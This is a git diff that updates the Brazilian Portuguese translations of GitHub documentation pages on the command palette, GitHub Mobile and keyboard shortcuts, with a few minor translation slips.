+| <kbd>#</kbd>                                                            | Pesquisa problemas, pull requests, discussões e projetos. Para obter mais informações, consulte "[Pesquisando em {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                              |
+| <kbd>@</kbd>                                                            | Pesquisa usuários, organizações e repositórios. Para obter mais informações, consulte "[Pesquisando em {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                                        |
+| <kbd>/</kbd>                                                            | Pesquisar arquivos dentro de um escopo ou repositórios do repositório dentro do escopo da organização. Para obter mais informações, consulte "[Pesquisando em {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
+| <kbd>!</kbd>                                                            | Pesquisar apenas projetos. Para obter mais informações, consulte "[Pesquisando em {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                                                             |
+| <kbd>Ctrl</kbd>+<kbd>C</kbd> ou <kbd>Command</kbd>+<kbd>C</kbd>         | Copiar URL de pesquisa ou navegação para o resultado destacado na área de transferência.                                                                                                                                                                             |
+| <kbd>Enter</kbd>                                                        | Pule para o resultado destacado ou execute o comando destacado.                                                                                                                                                                                                      |
+| <kbd>Ctrl</kbd>+<kbd>Enter</kbd> ou <kbd>Command</kbd>+<kbd>Enter</kbd> | Abra o resultado da pesquisa ou navegação destacada em uma nova aba do navegador.                                                                                                                                                                                    |
+| <kbd>?</kbd>                                                            | Exibir ajuda na paleta de comandos.                                                                                                                                                                                                                                  |
 
-### Global commands
+### Comandos globais
 
-These commands are available from all scopes.
+Estes comandos estão disponíveis em todos os escopos.
 
-| Command | Behavior|
-| :- | :- | :- |
-|`Import repository`|Create a new repository by importing a project from another version control system. For more information, see "[Importing a repository with GitHub importer](/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer)."  |
-|`New gist`|Open a new gist. For more information, see "[Creating a gist](/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)." |
-|`New organization`|Create a new organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." |
-|`New project`|Create a new project board. For more information, see "[Creating a project](/issues/trying-out-the-new-projects-experience/creating-a-project)."  |
-|`New repository`|Create a new repository from scratch. For more information, see "[Creating a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository)." |
-|`Switch theme to <theme name>`|Change directly to a different theme for the UI. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." |
+| Comando                                | Comportamento                                                                                                                                                                                                                                                                                                  |
+|:-------------------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Importar repositório`                 | Criar um novo repositório importando um projeto de outro sistema de controle de versão. Para obter mais informações, consulte "[Importando um repositório com o Importador do GitHub](/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer)". |
+| `Novo gist`                            | Abra um novo gist. Para obter mais informações, consulte[Criando um gist](/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)."                                                                                                                                                   |
+| `Nova organização`                     | Criar uma nova organização Para obter mais informações, consulte "[Criar uma nova organização do zero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".                                                                                                   |
+| `Novo projeto`                         | Criar um novo quadro de projeto. Para obter mais informações, consulte "[Criar um quadro de projeto](/issues/trying-out-the-new-projects-experience/creating-a-project)".                                                                                                                                      |
+| `Novo repositório`                     | Criar um novo repositório a partir do zero. Para obter mais informações, consulte "[Criar um novo repositório](/repositories/creating-and-managing-repositories/creating-a-new-repository)."                                                                                                                   |
+| `Alterar tema para <theme name>` | Mude diretamente para um tema diferente para a interface do usuário. Para obter mais informações, consulte "[Gerenciando as suas configurações de tema](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)".                   |
 
 
-### Organization commands
+### Comandos da organização
 
-These commands are available only within the scope of an organization.
+Esses comandos estão disponíveis somente dentro do escopo de uma organização.
 
-| Command | Behavior|
-| :- | :- |
-| `New team`| Create a new team in the current organization. For more information, see "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)."
+| Comando       | Comportamento                                                                                                                                           |
+|:------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Nova equipe` | Crie uma nova equipe na organização atual. For more information, see "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)." |
 
-### Repository commands
+### Comandos do repositório
 
-Most of these commands are available only on the home page of the repository. If a command is also available on other pages, this is noted in the behavior column.
+A maioria desses comandos está disponível apenas na página inicial do repositório. Se um comando também estiver disponível em outras páginas, isso será mencionado na coluna de comportamento.
 
-| Command | Behavior|
-| :- | :- |
-|`Clone repository: <URL type>`|Copy the URL needed to clone the repository using {% data variables.product.prodname_cli %}, HTTPS, or SSH to the clipboard. For more information, see "[Cloning a repository](/repositories/creating-and-managing-repositories/cloning-a-repository)."|
-|`New discussion`|Create a new discussion in the repository. For more information, see "[Creating a new discussion](/discussions/quickstart#creating-a-new-discussion)."|
-|`New file`|Create a new file from any page in the repository. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
-|`New issue`|Open a new issue from any page in the repository. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-an-issue)."|
-|`Open in new codespace`|Create and open a codespace for this repository. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."|
-|`Open in github.dev editor`|Open the current repository in the github.dev editor. For more information, see "[Opening the web based editor](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor)."|
+| Comando                                | Comportamento                                                                                                                                                                                                                                                                        |
+|:-------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `Clonar repositório: <URL type>` | Copie a URL necessária para clonar o repositório usando {% data variables.product.prodname_cli %}, HTTP ou SSH para a área de transferência. Para obter mais informações, consulte "[Clonar um repositório](/repositories/creating-and-managing-repositories/cloning-a-repository)". |
+| `Nova discussão`                       | Criar uma nova discussão no repositório. Para obter mais informações, consulte "[ Criando uma nova discussão](/discussions/quickstart#creating-a-new-discussion)".                                                                                                                   |
+| `Novo arquivo`                         | Criar um novo arquivo a partir de qualquer página no repositório. Para obter mais informações, consulte "[Adicionar um arquivo a um repositório](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."                                                    |
+| `Novo problema`                        | Abra um novo problema de qualquer página no repositório. Para obter mais informações, consulte "[Criar um problema](/issues/tracking-your-work-with-issues/creating-an-issue)".                                                                                                      |
+| `Abrir em um novo codespace`           | Criar e abrir um codespace para este repositório. Para obter mais informações, consulte "[Criar um codespace](/codespaces/developing-in-codespaces/creating-a-codespace)".                                                                                                           |
+| `Abrir no editor github.dev`           | Abra o repositório atual no editor github.dev. Para obter mais informações, consulte "[Abrir no editor baseado na web](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor)".                                                                                    |
 
-### File commands
+### Comandos de arquivos
 
-These commands are available only when you open the command palette from a file in a repository.
+Estes comandos só estão disponíveis quando você abre a paleta de comandos a partir de um arquivo em um repositório.
 
-| Command | Behavior|
-| :- | :- |
-|`Copy permalink`|Create a link to the file that includes the current commit SHA and copy the link to the clipboard. For more information, see "[Getting permanent links to files](/repositories/working-with-files/using-files/getting-permanent-links-to-files#press-y-to-permalink-to-a-file-in-a-specific-commit)."
-|`Open in github.dev editor`|Open the currently displayed file in github.dev editor. For more information, see "[Opening the web based editor](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor)."|
+| Comando                      | Comportamento                                                                                                                                                                                                                                                                                                            |
+|:---------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `Copiar permalink`           | Crie um link para o arquivo que inclui o atual commit SHA e copie o link para a área de transferência. Para obter mais informações, consulte "[Obter links permanentes em arquivos](/repositories/working-with-files/using-files/getting-permanent-links-to-files#press-y-to-permalink-to-a-file-in-a-specific-commit)". |
+| `Abrir no editor github.dev` | Abra o arquivo exibido atualmente no editor github.dev. Para obter mais informações, consulte "[Abrir no editor baseado na web](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor)".                                                                                                               |
 
-### Discussion commands
+### Comandos de discussão
 
-These commands are available only when you open the command palette from a discussion. They act on your current page and are not affected by the scope set in the command palette.
+Estes comandos só estão disponíveis quando você abre a paleta de comandos em uma discussão. Eles atuam na sua página atual e não são afetados pelo escopo definido na paleta de comando.
 
-| Command | Behavior|
-| :- | :- |
-|`Delete discussion...`|Permanently delete the discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)."
-|`Edit discussion body`|Open the main body of the discussion ready for editing.
-|`Subscribe`/`unsubscribe`|Opt in or out of notifications for additions to the discussion. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
-|`Transfer discussion...`|Move the discussion to a different repository. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#transferring-a-discussion)."
+| Comando                         | Comportamento                                                                                                                                                                                                                                               |
+|:------------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Excluir discussão...`          | Excluir permanentemente a discussão. Para obter mais informações, consulte "[Gerenciar discussões no seu repositório](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)".                 |
+| `Editar texto da discussão`     | Abra o texto principal da discussão que está pronto para edição.                                                                                                                                                                                            |
+| `Assinar`/`Cancelar assinatura` | Opte por participar ou não receber notificações de adições à discussão. Para obter mais informações, consulte "[Sobre notificações](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)". |
+| `Transferir discussão...`       | Mover a discussão para um repositório diferente. Para obter mais informações, consulte "[Gerenciar discussões no seu repositório](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#transferring-a-discussion)". |
 
-### Issue commands
+### Comandos de problemas
 
-These commands are available only when you open the command palette from an issue. They act on your current page and are not affected by the scope set in the command palette.
+Estes comandos estão disponíveis somente quando você abre a paleta de comandos em um problema. Eles atuam na sua página atual e não são afetados pelo escopo definido na paleta de comando.
 
-| Command | Behavior|
-| :- | :- |
-|`Close`/`reopen issue`|Close or reopen the current issue. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)."|
-|`Convert issue to discussion...`|Convert the current issue into a discussion. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)."
-|`Delete issue...`|Delete the current issue. For more information, see "[Deleting an issue](/issues/tracking-your-work-with-issues/deleting-an-issue)."|
-|`Edit issue body`|Open the main body of the issue ready for editing.
-|`Edit issue title`|Open the title of the issue ready for editing. 
-|`Lock issue`|Limit new comments to users with write access to the repository. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
-|`Pin`/`unpin issue`|Change whether or not the issue is shown in the pinned issues section for the repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)."|
-|`Subscribe`/`unscubscribe`|Opt in or out of notifications for changes to this issue. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
-|`Transfer issue...`|Transfer the issue to another repository. For more information, see "[Transferring an issue to another repository](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository)."|
+| Comando                              | Comportamento                                                                                                                                                                                                                                                      |
+|:------------------------------------ |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `Fechar`/`reabrir problema`          | Fechar ou reabrir o problema atual. Para obter mais informações, consulte "[Sobre problemas](/issues/tracking-your-work-with-issues/about-issues)".                                                                                                                |
+| `Converter problema em discussão...` | Converter o problema atual em uma discussão. Para obter mais informações, consulte "[Moderação de discussões](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)".                                   |
+| `Excluir problema...`                | Exclua o problema atual. Para obter mais informações, consulte "[Excluir uma problema](/issues/tracking-your-work-with-issues/deleting-an-issue)".                                                                                                                 |
+| `Editar texto do problema`           | Abra o texto principal do problema que está pronto para edição.                                                                                                                                                                                                    |
+| `Editar título do problema`          | Abra o título do problema que está pronto para edição.                                                                                                                                                                                                             |
+| `Bloquear problema`                  | Limitar novos comentários a usuários com acesso de gravação ao repositório. Para obter mais informações, consulte "[Bloquear conversas](/communities/moderating-comments-and-conversations/locking-conversations)".                                                |
+| `Fixar`/`desafixar problema`         | Altere se o problema é exibido ou não na seção de problemas fixados para o repositório. Para obter mais informações, consulte "[Fixar um problema no seu repositório](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)".                |
+| `Assinar`/`Cancelar assinatura`      | Opte por partiricpar ou não receber notificações de alterações nesse problema. Para obter mais informações, consulte "[Sobre notificações](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)". |
+| `Transferir problema...`             | Transferir o problema para outro repositório. Para obter mais informações, consulte "[Transferir um problema para outro repositório](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository)".                                         |
 
-### Pull request commands
+### Comandos de pull request
 
-These commands are available only when you open the command palette from a pull request. They act on your current page and are not affected by the scope set in the command palette.
+Estes comandos só estão disponíveis quando você abre a paleta de comandos a partir de um pull request. Eles atuam na sua página atual e não são afetados pelo escopo definido na paleta de comando.
 
-| Command | Behavior|
-| :- | :- |
-|`Close`/`reopen pull request`|Close or reopen the current pull request. For more information, see "[About pull requests](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."|
-|`Convert to draft`/`Mark pull request as ready for review`|Change the state of the pull request to show it as ready, or not ready, for review. For more information, see "[Changing the state of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)."|
-|`Copy current branch name`| Add the name of the head branch for the pull request to the clipboard.
-|`Edit pull request body`|Open the main body of the pull request ready for editing.
-|`Edit pull request title`|Open the title of the pull request ready for editing.
-|`Open in new codespace`|Create and open a codespace for the head branch of the pull request. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
-|`Subscribe`/`unscubscribe`|Opt in or out of notifications for changes to this pull request. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
-|`Update current branch`|Update the head branch of the pull request with changes from the base branch. This is available only for pull requests that target the default branch of the repository. For more information, see "[About branches](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)."|
+| Comando                                                                | Comportamento                                                                                                                                                                                                                                                                                                                               |
+|:---------------------------------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Fechar`/`reabrir pull request`                                        | Feche ou reabra o pull request atual. Para obter mais informações, consulte "[Sobre pull requests](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)".                                                                                                                        |
+| `Converter em rascunho`/`Marcar pull request como pronto para revisão` | Altere o estado do pull request para mostrá-lo como pronto ou não pronto para revisão. Para obter mais informações, consulte "[Alterar o estado de um pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)".                                      |
+| `Copiar nome do branch atual`                                          | Adicione o nome do branch principal ao pull request na área de transferência.                                                                                                                                                                                                                                                               |
+| `Editar texto do pull request`                                         | Abra o texto principal do pull request que está pronto para edição.                                                                                                                                                                                                                                                                         |
+| `Editar título do pull request`                                        | Abra o título do pull request que está pronto para edição.                                                                                                                                                                                                                                                                                  |
+| `Abrir em um novo codespace`                                           | Crie e abra um codespace para o branch principal do pull request. Para obter mais informações, consulte "[Criar um codespace](/codespaces/developing-in-codespaces/creating-a-codespace)".                                                                                                                                                  |
+| `Assinar`/`Cancelar assinatura`                                        | Opte por receber ou não receber notificações para alterações desse pull request. Para obter mais informações, consulte "[Sobre notificações](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)".                                                                        |
+| `Atualizar o branch atual`                                             | Atualize o branch principal do pull request com alterações do branch base. Isso só está disponível para pull requests que apontam para o branch padrão do repositório. Para obter mais informações, consulte "[Sobre branches](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)". |
diff --git a/translations/pt-BR/content/get-started/using-github/github-mobile.md b/translations/pt-BR/content/get-started/using-github/github-mobile.md
index 76e50e0dd8..af0471d536 100644
--- a/translations/pt-BR/content/get-started/using-github/github-mobile.md
+++ b/translations/pt-BR/content/get-started/using-github/github-mobile.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Mobile
-intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.'
+intro: 'Faça triagem, colabore e gerencie seu trabalho em {% data variables.product.product_name %} do seu dispositivo móvel.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,80 +12,81 @@ redirect_from:
   - /github/getting-started-with-github/github-for-mobile
   - /github/getting-started-with-github/using-github/github-for-mobile
 ---
+
 {% data reusables.mobile.ghes-release-phase %}
 
-## About {% data variables.product.prodname_mobile %}
+## Sobre o {% data variables.product.prodname_mobile %}
 
 {% data reusables.mobile.about-mobile %}
 
-{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application.
+{% data variables.product.prodname_mobile %} oferece a você uma maneira de realizar trabalhos de alto impacto {% data variables.product.product_name %} rapidamente e de qualquer lugar. O {% data variables.product.prodname_mobile %}é uma maneira segura e confiável de acessar seus dados {% data variables.product.product_name %} através de um aplicativo cliente confiável e primordial.
 
-With {% data variables.product.prodname_mobile %} you can:
-- Manage, triage, and clear notifications
-- Read, review, and collaborate on issues and pull requests
-- Search for, browse, and interact with users, repositories, and organizations
-- Receive a push notification when someone mentions your username
+Com o {% data variables.product.prodname_mobile %} você pode:
+- Gerenciar, fazer triagem e limpar notificações
+- Leia, analisar e colaborar em problemas e pull requests
+- Pesquisar, navegar e interagir com usuários, repositórios e organizações
+- Receber uma notificação push quando alguém mencionar seu nome de usuário
 
-For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)."
+Para mais informações sobre notificações para {% data variables.product.prodname_mobile %}, consulte "[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)."
 
-## Installing {% data variables.product.prodname_mobile %}
+## Instalar o {% data variables.product.prodname_mobile %}
 
-To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
+Para instalar {% data variables.product.prodname_mobile %} para Android ou iOS, consulte [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
 
-## Managing accounts
+## Gerenciar contas
 
-You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}.
+Você pode estar conectado simultaneamente em um celular com uma conta de usuário em {% data variables.product.prodname_dotcom_the_website %} e com uma conta de usuário em {% data variables.product.prodname_ghe_server %}. Para obter mais informações sobre nossos diferentes produtos, consulte "[Produtos de {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products)"
 
 {% data reusables.mobile.push-notifications-on-ghes %}
 
-{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN.
+{% data variables.product.prodname_mobile %} pode não funcionar com a sua empresa se for necessário acessar sua empresa através da VPN.
 
-### Prerequisites
+### Pré-requisitos
 
-You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}.
+Você precisa instalar {% data variables.product.prodname_mobile %} 1.4 ou superior no seu dispositivo para usar {% data variables.product.prodname_mobile %} com {% data variables.product.prodname_ghe_server %}.
 
-To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
+Para usar {% data variables.product.prodname_mobile %} com {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} deve ser a versão 3.0 ou superior, e o proprietário da empresa deverá habilitar o suporte móvel para a sua empresa. Para obter mais informações, consulte {% ifversion ghes %}"[Observações de versão](/enterprise-server/admin/release-notes)e {% endif %}"[Gerenciando {% data variables.product.prodname_mobile %} para a sua empresa]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}" na documentação de {% data variables.product.prodname_ghe_server %}.{% else %}."{% endif %}
 
-During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a user account on {% data variables.product.prodname_dotcom_the_website %}.
+Durante o beta para {% data variables.product.prodname_mobile %} com {% data variables.product.prodname_ghe_server %}, você deve estar conectado com uma conta de usuário em {% data variables.product.prodname_dotcom_the_website %}.
 
-### Adding, switching, or signing out of accounts
+### Adicionar, alternar ou encerrar a sessão das contas
 
-You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
+Você pode iniciar a sessão no celular com uma conta de usuário em {% data variables.product.prodname_ghe_server %}. Na parte inferior do aplicativo, mantenha pressionado {% octicon "person" aria-label="The person icon" %} **Perfil** e, em seguida, toque em {% octicon "plus" aria-label="The plus icon" %} **Adicionar Conta Corporativa**. Siga as instruções para efetuar o login.
 
-After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on  {% data variables.product.prodname_dotcom_the_website %}.  At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
+Depois de efetuar o login no celular com uma conta de usuário em {% data variables.product.prodname_ghe_server %}, você poderá alternar entre a conta e a sua conta em {% data variables.product.prodname_dotcom_the_website %}. Na parte inferior do aplicativo, mantenha pressionado {% octicon "person" aria-label="The person icon" %} **Perfil** e, em seguida, toque na conta para a qual você deseja mudar.
 
-If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
+Se você não precisar mais acessar os dados da sua conta de usuário em {% data variables.product.prodname_ghe_server %} de {% data variables.product.prodname_mobile %}, você poderá encerrar a sessão da conta. Na parte inferior do aplicativo, mantenha pressionado {% octicon "person" aria-label="The person icon" %} **Perfil**, deslize para a esquerda na conta para encerrar sessão e toque em **Encerrar sessão**.
 
-## Supported languages for {% data variables.product.prodname_mobile %}
+## Idiomas compatíveis com {% data variables.product.prodname_mobile %}
 
-{% data variables.product.prodname_mobile %} is available in the following languages.
+{% data variables.product.prodname_mobile %} está disponível nos seguintes idiomas.
 
 - English
 - Japanese
-- Brazilian Portuguese
-- Simplified Chinese
+- Português do Brasil
+- Chinês simplificado
 - Spanish
 
-If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu.
+Se você configurar o idioma do seu dispositivo para um idioma compatível, {% data variables.product.prodname_mobile %} será o idioma-padrão. Você pode alterar o idioma para {% data variables.product.prodname_mobile %} no no menu **Configurações** de {% data variables.product.prodname_mobile %}.
 
-## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS
+## Gerenciando links universais para {% data variables.product.prodname_mobile %} no iOS
 
-{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site.
+{% data variables.product.prodname_mobile %} ativa automaticamente o Universal Links para iOS. Quando você clica em qualquer link {% data variables.product.product_name %}, a URL de destino vai abrir em {% data variables.product.prodname_mobile %} em vez do Safari. Para obter mais informações, consulte [Universal Links](https://developer.apple.com/ios/universal-links/)  no site de desenvolvedor da Apple
 
-To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}.
+Para desabilitar os links universais, mantenha qualquer link {% data variables.product.product_name %} pressionado e, em seguida, pressione **Abrir**. Toda vez que você clica em um link {% data variables.product.product_name %} no futuro, a URL de destino abrirá no Safari em vez do {% data variables.product.prodname_mobile %}.
 
-To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**.
+Para reabilitar o Universal Links, mantenha pressionado qualquer link {% data variables.product.product_name %}, depois clique em **Abrir em {% data variables.product.prodname_dotcom %}**.
 
-## Sharing feedback
+## Compartilhando feedback
 
-If you find a bug in {% data variables.product.prodname_mobile %}, you can email us at <a href="mailto:mobilefeedback@github.com">mobilefeedback@github.com</a>.
+Se você encontrar um erro em {% data variables.product.prodname_mobile %}, você pode nos enviar um e-mail para <a href="mailto:mobilefeedback@github.com">mobilefeedback@github.com</a>.
 
-You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22).
+Você pode enviar solicitações de recursos ou outros feedbacks para {% data variables.product.prodname_mobile %} em [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22).
 
-## Opting out of beta releases for iOS
+## Desativando versões beta para iOS
 
-If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time.
+Se você estiver testando uma versão beta do {% data variables.product.prodname_mobile %} para iOS usando TestFlight, você pode deixar a versão beta a qualquer momento.
 
-1. On your iOS device, open the TestFlight app.
-2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**.
-3. At the bottom of the page, tap **Stop Testing**.
+1. Em seu dispositivo iOS, abra o app TestFlight.
+2. Em "Apps", clique em **{% data variables.product.prodname_dotcom %}**.
+3. Na parte inferior da página, clique em **Interromper testes**.
diff --git a/translations/pt-BR/content/get-started/using-github/index.md b/translations/pt-BR/content/get-started/using-github/index.md
index d0e1e4d2f2..ca7e519c97 100644
--- a/translations/pt-BR/content/get-started/using-github/index.md
+++ b/translations/pt-BR/content/get-started/using-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub
-intro: 'Explore {% data variables.product.company_short %}''s products from different platforms and devices.'
+title: Usar o GitHub
+intro: 'Explore os produtos de {% data variables.product.company_short %} de diferentes plataformas e dispositivos.'
 redirect_from:
   - /articles/using-github
   - /github/getting-started-with-github/using-github
@@ -19,3 +19,4 @@ children:
   - /github-command-palette
   - /troubleshooting-connectivity-problems
 ---
+
diff --git a/translations/pt-BR/content/get-started/using-github/keyboard-shortcuts.md b/translations/pt-BR/content/get-started/using-github/keyboard-shortcuts.md
index 2265ca6c86..bca3c133ee 100644
--- a/translations/pt-BR/content/get-started/using-github/keyboard-shortcuts.md
+++ b/translations/pt-BR/content/get-started/using-github/keyboard-shortcuts.md
@@ -1,6 +1,6 @@
 ---
-title: Keyboard shortcuts
-intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.'
+title: Atalhos de teclado
+intro: 'Quase todas as páginas no {% data variables.product.prodname_dotcom %} tem um atalho de teclado que executa as ações mais rapidamente.'
 redirect_from:
   - /articles/using-keyboard-shortcuts
   - /categories/75/articles
@@ -14,209 +14,214 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## About keyboard shortcuts
 
-Typing <kbd>?</kbd> on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate.
+## Sobre atalhos do teclado
+
+Digitar <kbd>?</kbd> no {% data variables.product.prodname_dotcom %} exibe uma caixa de diálogo que lista os atalhos de teclado disponíveis para essa página. Você pode usar esses atalhos de teclado para executar ações no site sem precisar usar o mouse para navegar.
 
 {% if keyboard-shortcut-accessibility-setting %}
-You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see "[Managing accessibility settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings)."{% endif %}
+É possível desabilitar os atalhos de teclas de caractere, ao mesmo tempo em que permite que os atalhos que usam teclas modificadoras, nas suas configurações de acessibilidade. Para obter mais informações, consulte "[Gerenciar configurações de acessibilidade](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings)".{% endif %}
 
-Below is a list of some of the available keyboard shortcuts.
+Veja abaixo uma lista dos atalhos de teclado disponíveis.
 {% if command-palette %}
